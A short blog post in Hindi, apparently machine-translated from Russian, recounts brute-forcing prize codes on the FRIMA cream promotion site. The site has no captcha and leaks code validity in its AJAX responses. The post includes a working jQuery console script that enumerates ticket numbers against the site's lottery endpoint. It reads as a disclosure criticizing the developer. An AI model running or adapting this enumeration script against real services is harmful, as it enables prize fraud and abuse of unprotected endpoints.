एक बार फिर से पुरस्कार ड्रॉ नहीं करने के बारे में

हाल ही में, एमटीएस और नेस्टा और एबे और बिग्लियन के बारे में घोटालों का निधन हो गया है, और डेवलपर्स दूसरों की गलतियों से नहीं सीखते हैं। इस बार, FRIMA ने अपनी सूखी क्रीम से अलग पहचान बनाई।

आज रात, मैंने क्रीम का एक पैकेट खोला, और वहां एक कोड के साथ एक छोटा क्रुग्ल्योस्का देखा। सामान्य तौर पर, मैं आमतौर पर ऐसे आयोजनों में भाग नहीं लेता हूं, लेकिन एक छोटी सी ट्रिफ़ल ने मेरी आंख को पकड़ लिया, जिसका नाम है: "जीत कोड" इस तरह दिखता है: FRIMA1234123। जैसा कि कई पाठकों ने देखा है, कोड में अनिवार्य रूप से सात दशमलव अंक होते हैं, यानी हमारे पास कुल 10,000,000 संयोजन होते हैं।

मेरे पास पहली चीज कोड दर्ज करने के लिए साइट पर आना था - frima.biz/lottery , जहां यह पता चला कि कोड की जांच करने के लिए किसी कैप्चा का उपयोग नहीं किया गया था। सत्यापन के लिए पासिंग AJAX अनुरोध के त्वरित निरीक्षण से पता चला कि प्रतिक्रिया में एक JSON ऑब्जेक्ट प्राप्त होता है, जिसमें एक कोड फ़ील्ड होता है, जो कोड मौजूद होने पर 0 होता है।



इसके बाद, मैंने ब्राउज़र कंसोल खोला और निम्नलिखित कोड में डाला:

t = []; i = 1111111; q = function() { jQuery.post('/lottery?task=ajax&action=checkTicketNumber', { spoof_id: 1, frmname: '', frmemail: '', 'extra_field[1]': '', 'extra_field[2]': '', ticket_number: 'FRIMA'+i }, function(res) { if(JSON.parse(res).code == 0) { t.push(i); }; if(i < 1112222) { //       10 000 000  i += 1; q(); } }); }; q(); 

उसके बाद, हम किसी भी समय कोड की एक संचित सूची बना सकते हैं

 console.log(t); 

कोड से यह अनुमान लगाना आसान है कि हम बस 1111111 से शुरू होने वाले सभी संभावित कोड से गुजरते हैं। एक मिनट में एक दर्जन कोड प्राप्त करके, मैंने अपने अहंकार को संतुष्ट किया और यहां लिखने का फैसला किया।

नतीजतन, मैं TopWebDesign कंपनी की निंदा करता हूं, जिसने गर्व से इस हैक के डेवलपर के रूप में इस साइट के पाद लेख में हस्ताक्षर किए हैं।